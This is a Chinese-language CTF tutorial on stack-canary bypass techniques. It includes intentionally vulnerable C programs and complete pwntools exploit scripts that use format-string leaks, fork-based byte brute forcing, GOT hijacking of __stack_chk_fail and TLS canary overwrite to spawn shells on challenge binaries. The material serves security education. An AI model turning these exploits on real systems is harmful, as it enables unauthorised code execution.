# canary 介绍:

  1. 在函数调用发生时,向栈帧内压入一个额外的随机 DWORD,这个随机数被称为 “Canary”
  2. 如果使用 IDA 反汇编的话,您可能会看到 IDA 会将这个随机数标注为 “Security Cookie”,在部分书籍的叙述中会用 Security Cookie 来引用这种随机数
  3. Canary 位于 EBP 之前,系统还将在内存区域中存放一个 Canary 的副本
  4. 当栈中发生溢出时,Canary 将被首先淹没,之后才是 EBP 和返回地址
  5. 在函数返回之前,系统将执行一个额外的安全验证操作,被称作 “Security check” 在 Security check 过程中,系统将比较栈帧中原先存放的 Canary 和在内存中的副本,如果两者不符合,说明栈帧中的 Canary 已被破坏,即栈中发生了溢出
  6. 当检测到栈中发生了溢出时,系统将进入异常处理流程,函数不会被正常返回,ret 指令也不会被执行

# 方法一 覆盖截断字符获取 Canary

# 原理

Canary 设计其低字节为 \x00,本意是阻止被 read、write 等函数直接将 Canary 读出来。通过栈溢出将低位的 \x00 覆写,就可以读出 Canary 的值。

从上面的分析,我们可以梳理出绕过的思路:

构造第一次溢出,覆写 Canary 低字节 \x00,读取出 Canary 值
构造第二次溢出,利用获取的 Canary 重新构造 payload,获取 shell。

c
// x00cannary.c
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
void getshell(void) {
    system("/bin/sh");
}
void init() {
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);
}
void vuln() {
    char buf[100];
    for(int i=0;i<2;i++){
        read(0, buf, 0x200);
        printf(buf);
    }
}
int main(void) {
    init();
    puts("Hello Hacker!");
    vuln();
    return 0;
}

编译生成 32 为的 ELF 文件

l
$ gcc x00cannary.c -no-pie -m32 -fstack-protector -z noexecstack -o x00canary
# 查看保护

image-20230804091104686

# ida

image-20230804091402007

image-20230804091406354

会发现有后门函数,并且 v3 是我们的 canary。在 read 函数中有很明显的栈溢出漏洞。

这题开启了的 Canary,所以直接进行栈溢出肯定是不行的。

  • 构造第一次溢出,覆写 Canary 低字节 \x00,读取出 Canary 值,从栈顶到 Canary 低字节的距离应该是 0x70 - 0xc。
  • 构造第二次溢出,利用泄露的 canary 进行栈溢出.

栈顶到 ebp 的距离是 0x70,Canary 到 ebp 的距离是 0xc,因此覆盖 Canary 之后,还要额外增加 0x8 的字节,再加上 ebp 本身长度 0x4,所以要额外增加 0xC 的字节内容。

# exp
n
from pwn import *
context(arch='amd64',os='linux',log_level='debug')
r = process('./x00canary')
elf = ELF('./x00canary')
se      = lambda data               :r.send(data)
sa      = lambda delim,data         :r.sendafter(delim, data)
sl      = lambda data               :r.sendline(data)
sla     = lambda delim,data         :r.sendlineafter(delim, data)
sea     = lambda delim,data         :r.sendafter(delim, data)
rc      = lambda numb=4096          :r.recv(numb)
rl      = lambda                    :r.recvline()
ru      = lambda delims             :r.recvuntil(delims)
uu32    = lambda data               :u32(data.ljust(4, b'\0'))
uu64    = lambda data               :u64(data.ljust(8, b'\0'))
lic 	= lambda data               :uu64(ru(data)[-6:])
pack    = lambda str, addr          :p32(addr)
padding = lambda lenth              :b'Yhuan'*(lenth//5)+b'F'*(lenth % 5)
getshell = 0x80485A6
ru('Hello Hacker!\n')
pl = b'a' * (0x70 - 0xc)
sl(pl)
recvbytes = rc(0x70 - 0xc)
print(recvbytes)
# 获取 canary
canary = u32(rc(4)) - 0xa#经过调试发现低字节被覆盖了 0xa,故减去 0xa 即可
print(f'Canary: {hex(canary)}')
# 第二次溢出
pl2 = b'a' * (0x70 - 0xc) + p32(canary) + b'a' * 0xc + p32(getshell)
sl(pl2)
rc()
r.interactive()

# 方法二 利用格式化字符串漏洞获取 Canary

# 原理

格式化字符串漏洞可以打印出栈中的内容,因此利用此漏洞可以打印出 canary 的值,从而进行栈溢出。

# [bjdctf_2020_babyrop2](BUUCTF 在线评测 (buuoj.cn))

​ printf 泄露并在覆盖 canary

# 检查程序

image-20230608154555021

image-20230608154744048

# IDA
  • gift 函数

image-20230608154908039

  • vlun 函数

image-20230608155218476

  1. gitf 函数很明显有格式话字串溢出,可以利用去泄露 canary。
  2. 将泄露的 canary 去覆写在 buf 上,从而达到目的

那么现在,我们只需要一个 system (/bin/sh) 就可以达到目的了。

image-20230608155517052

image-20230608155613180

当我检查字符串时,并没有 /bin/sh 和 system 函数 plt 表项,所以需要我泄露 libc,去构建 system(/bin/sh)

好,我们所有的大致思路有了,接下来,就是细节上功夫了。

泄露 canary

我们需要通过 gdb 调试(需要 gdb 与 pwndbg 联合调试,如果 gdb 没有 fmtarg 命令的或,需要通过下面连接去调整。

gdb+pwndbg 联合调试

image-20230608160451473

可以看到格式化字符串距离 rbp 有 5 的偏移,因为时 64 位程序,前 6 个参数需要放到寄存器内,所以距离 canary 的距离就有(5 + 6)的偏移。

所以构造的第一份 payload1 为

%11$p

接下来就是,泄露 libc 基址和构造 ROP 链

泄露 puts 函数地址

n
payload1 = b'a'*0x18 + p64(canary) + p64(0xdeadbeef) + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) +  p64(vuln_addr)
p.recvuntil(b'Pull up your sword and tell me u story!\n')
p.sendline(payload1)
# puts_addr=u64(p.recvuntil('\n')[:-1].ljust(8,b'\0'))
puts_addr = u64(p.recv(6).ljust(8,b'\x00'))

执行 system(/bin/sh)

n
libc = LibcSearcher('puts',puts_addr)
base = puts_addr - libc.dump('puts')
sys_addr = base + libc.dump('system')
bin_sh = base + libc.dump('str_bin_sh')
payload2 =  b'a'*0x18 + p64(canary) + p64(0xdeadbeef) + p64(pop_rdi_ret) + p64(bin_sh) + p64(sys_addr)
p.recv()
p.sendline(payload2)
# exp
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
context(os = 'linux',arch = 'amd64')
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
p = process('bjd')
# p = remote('node4.buuoj.cn',26896)
# p.recv()
# gdb.attach(p)
p.recvuntil(b"I'll give u some gift to help u!\n")
gdb.attach(p)
pause()
# p.sendline(b'aaaaa')
p.sendline(b'%11$p')
# p.recvuntil(b'0x')	
canary = int(p.recv(18)[2:],16)
print(hex(canary))
elf = ELF('bjd')
pop_rdi_ret =0x0000000000400993
pop_rsi_r15 =0x0000000000400991
ret =0x00000000004005f9
# main_addr = 0x04008DA
vuln_addr = elf.symbols['vuln']
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
payload1 = b'a'*0x18 + p64(canary) + p64(0xdeadbeef) + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) +  p64(vuln_addr)
p.recvuntil(b'Pull up your sword and tell me u story!\n')
p.sendline(payload1)
# puts_addr=u64(p.recvuntil('\n')[:-1].ljust(8,b'\0'))
puts_addr = u64(p.recv(6).ljust(8,b'\x00'))
print(hex(puts_addr))
libc = LibcSearcher('puts',puts_addr)
base = puts_addr - libc.dump('puts')
sys_addr = base + libc.dump('system')
bin_sh = base + libc.dump('str_bin_sh')
payload2 =  b'a'*0x18 + p64(canary) + p64(0xdeadbeef) + p64(pop_rdi_ret) + p64(bin_sh) + p64(sys_addr)
p.recv()
p.sendline(payload2)
p.interactive()

# 方法三 逐字节爆破

# 原理

每次进程重启后的 Canary 是不同的,但是同一个进程中的 Canary 都是一样的。并且 通过 fork 函数创建的子进程的 Canary 也是相同的,因为 fork 函数会直接拷贝父进程的内存。
爆破次数:对于 32 位 ELF,低字节固定是 \x00,所以只需要对三个字节进行爆破。爆破方式是先利用栈溢出覆写次低字节,如果出错的话,会报错,获得正确的次低字节的话,不会报错。获取正确的次低字节之后,再依次爆破次高字节和高字节。每个字节的可能性是 256,因此 3 个字节的逐个爆破总次数是 256+256+256=768 次

# [[CISCN 2023 初赛] funcanary

这题既然有 pie 的话,那就先介绍一下 pie 吧。

# Linux 下的 PIE 与 ASLR

由于受到堆栈和 libc 地址可预测的困扰,ASLR 被设计出来并得到广泛应用。因为 ASLR 技术的出现,攻击者在 ROP 或者向进程中写数据时不得不先进行 leak,或者干脆放弃堆栈,转向 bss 或者其他地址固定的内存块。

而 PIE (position-independent executable, 地址无关可执行文件) 技术就是一个针对代码段.text, 数据段.*data,.bss 等固定地址的一个防护技术。同 ASLR 一样,应用了 PIE 的程序会在每次加载时都变换加载基址,从而使位于程序本身的 gadget 也失效。

ASLR 则主要负责其他内存的地址随机化。

PIE 如何作用于 ELF 可执行文件

ELF 程序运行的时候是 cpu 在硬盘上调入加载进内存的,这个时候程序就有了内存地址空间。

ELF file format:
+---------------+
|  File header  | # 文件头保存每个段类型和长度
+---------------+ 
| .text section | # 代码段 存放代码和指令
+---------------+
| .data section | # 数据段 
+---------------+
| .bss section  | # bss段 存放未初始化的全局变量和静态变量,一般可读写
+---------------+ # 是存放shellcode的好地方。
|      ...      |
+---------------+
|  xxx section  |# 还有字符串段、符号表段行号表段等
+---------------+
# 检查

image-20230608174423723

保护开的很全面哈

# ida

main

image-20230608174639174

canary

image-20230608174749268

backdoor

image-20230608174818492

这是一个子线程覆盖 canary,首先 fork 一个子线程,然后在子线程内进行操作,这里我们需要知道的是,fork 操作中子线程和主线程用的是一个 canary. 并且程序中这一个循环还不会终止,这就跟便于我们对 canary 的爆破,通过下面的汇编会更清晰的了解子线程和父线程的关系。

22

总之,通过 fork,我们可以逐字节爆破 canary。

n
from pwn import *
elf = ELF('./ser')
p = process('./ser')
#p=remote('',)
p.recvuntil('welcome\n')
canary = b'\x00'
for k in range(7):# 32 位程序爆 3.
    for i in range(256):
        p.send(b'a'*0x68 + canary + p8(i))
        a = p.recvuntil("welcome\n")
        if b"fun" in a:
                canary += p8(i)
                print(b"canary: " + canary)
                break

接下来爆 Pie。

n
catflag = 0x0231
while(1):
    for i in range(16):
        payload = b'A' * 0x68 + canary + b'A' * 8 + p16(catflag)
        p.send(payload)
        #pause()
        a = p.recvuntil("welcome\n",timeout=1)
        print(a)
        if b"welcome" in a:
                catflag += 0x1000
                continue
        if b"NSSCTF" in a:
            print(a)
            break
p.interactive()
# exp
n
from pwn import *
elf = ELF('./ser')
p = process('./ser')
#p=remote('',)
p.recvuntil('welcome\n')
canary = b'\x00'
for k in range(7):# 32 位程序爆 3.
    for i in range(256):
        p.send(b'a'*0x68 + canary + p8(i))
        a = p.recvuntil("welcome\n")
        if b"fun" in a:
                canary += p8(i)
                print(b"canary: " + canary)
                break   
catflag = 0x0231
while(1):
    for i in range(16):
        payload = b'A' * 0x68 + canary + b'A' * 8 + p16(catflag)
        p.send(payload)
        #pause()
        a = p.recvuntil("welcome\n",timeout=1)
        print(a)
        if b"welcome" in a:
                catflag += 0x1000
                continue
        if b"NSSCTF" in a:
            print(a)
            break
p.interactive()

# 方法四 劫持__stack_chk_fail 函数

# 原理

在开启 canary 保护的程序中,如果 canary 不对,程序会转到 stack_chk_fail 函数执行。stack_chk_fail 函数是一个普通的延迟绑定函数,可以通过修改 GOT 表劫持这个函数。

c
// scf.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
void getshell(void)
{
    system("/bin/sh");
}
int main(int argc, char *argv[])
{
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);
    char buf[100];
    read(0, buf, 200);// 栈溢出
    printf(buf);
    return 0;
}
l
$ gcc scf.c -m32 -fstack-protector -no-pie -z noexecstack -z norelro -o scf
  • 劫持函数需要修改 got 表,所以要关闭 relro(RELocation Read Only)
  • 需要调用 getshell 函数,所以需要关闭 pie(Position Indenpendent Executive)
# 检查

image-20230804093940998

# ida

image-20230804094426572

image-20230804094442002

  • 有个 getshell 后门
  • main 函数中 printf 直接打印了用户输入的内容,存在格式化字符串漏洞,可以用来向任意地址写入数据

GOT 表中存储的是函数的实际地址,如果把 __stack_chk_fail 函数的 got 表地址替换为 getshell 的地址,在 canary 出错的情况下,调用 __stack_chk_fail 时就会直接获取到 shell。

这里利用 pwntools 中的 fmtstr_payload () 可以方便的进行地址的篡改

n
fmtstr_payload(offset, writes, numbwritten=0, write_size=‘byte’)
offset(int: 字符串的偏移
writes (dict): 注入的地址和值,{target_addr : change_to, }

手工确认字符串的偏移

image-20230804094756512

61616161 是第 10 个位置,因此 offset 取 10

n
payload = fmtstr_payload(10, {stack_chk_fail_got: getshell})

还要造成一次溢出,触发 __stack_chk_fail

n
payload = payload.ljust(0x70, b'a')
# exp
n
from pwn import *
context(arch='i386',os='linux',log_level='debug')
r = process('./scf')
elf = ELF('./scf')
se      = lambda data               :r.send(data)
sa      = lambda delim,data         :r.sendafter(delim, data)
sl      = lambda data               :r.sendline(data)
sla     = lambda delim,data         :r.sendlineafter(delim, data)
sea     = lambda delim,data         :r.sendafter(delim, data)
rc      = lambda numb=4096          :r.recv(numb)
rl      = lambda                    :r.recvline()
ru      = lambda delims             :r.recvuntil(delims)
uu32    = lambda data               :u32(data.ljust(4, b'\0'))
uu64    = lambda data               :u64(data.ljust(8, b'\0'))
lic 	= lambda data               :uu64(ru(data)[-6:])
pack    = lambda str, addr          :p32(addr)
padding = lambda lenth              :b'Yhuan'*(lenth//5)+b'F'*(lenth % 5)
stack_chk_fail_got = elf.got['__stack_chk_fail']
getshell = elf.sym['getshell']
pl = fmtstr_payload(10, {stack_chk_fail_got: getshell})
pl = pl.ljust(0x70, b'a')
se(pl)
r.interactive()

# 方法五 TSL 全覆盖

# 原理

已知 Canary 储存在 TLS 中,在函数返回前会使用这个值进行对比。当溢出尺寸较大时,可以同时覆盖栈上储存的 Canary 和 TLS 储存的 Canary 实现绕过。

# love
# 检查

image-20230804100611025

# ida

image-20230804100726428

image-20230804100739512

很明显,能够看到 canary 保护,并且能找到格式化字符串漏洞,和 vuln 的栈溢出漏洞。所以我们可以通过 read 函数读入数据,让格式化字符覆盖内存地址,从而绕过判断,进入 vuln 中。再通过覆盖 TLS 中储存的 Canary 值和栈上临时存的 canary 的值。绕过 canary,达成攻击手段。

image-20230804101610167

从中可以找到 0x22b、0x208 换算一下就是 555 和 520,计算一下偏移为 9

所以 payload

n
pl = b'%520s%9$n'

但是在这里我们也能发现 canary 的影子,在偏移 15 的位置。经过多次输入这个字段,证实了我们猜测。所以这题也可以通过泄露 canary 来绕过。

绕过判断之后。

泄露 libc 基址。

n
pl = b'\x00'*0x30+p64(0)+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(vuln)+b'\x00'*0xa00

最后获取 shell 即可。

# exp
n
from pwn import *
context(arch='amd64',os='linux',log_level='debug')
r = process('./pwn')
elf = ELF('./pwn')
se      = lambda data               :r.send(data)
sa      = lambda delim,data         :r.sendafter(delim, data)
sl      = lambda data               :r.sendline(data)
sla     = lambda delim,data         :r.sendlineafter(delim, data)
sea     = lambda delim,data         :r.sendafter(delim, data)
rc      = lambda numb=4096          :r.recv(numb)
rl      = lambda                    :r.recvline()
ru      = lambda delims             :r.recvuntil(delims)
uu32    = lambda data               :u32(data.ljust(4, b'\0'))
uu64    = lambda data               :u64(data.ljust(8, b'\0'))
lic 	= lambda data               :uu64(ru(data)[-6:])
pack    = lambda str, addr          :p32(addr)
padding = lambda lenth              :b'Yhuan'*(lenth//5)+b'F'*(lenth % 5)
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
gets_plt = elf.plt['gets']
rdi = 0x00000000004013f3
ret = 0x40101a
pl = b'%520s%9$n'
ru(b"I want to hear your praise of Toka\n")
sl(pl)
ru(b'I know you like him, but you must pass my level\n')
vuln = 0x40125D
pl = b'\x00'*0x30+p64(0)+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(vuln)+b'\x00'*0xa00
sl(pl)
puts = lic('\x7f')
base = puts - 0x84420
system = base + 0x52294
bin_sh = base + 0x1B45BD
print('----------------->'+hex(base))
ru(b'I know you like him, but you must pass my level\n')
pl = b'\x00'*0x30+p64(0)+p64(base+0xe3b01)+b'\x00'*0x1000
# ong_gadget base+0xe3b01
sl(pl)
r.interactive()
更新于 阅读次数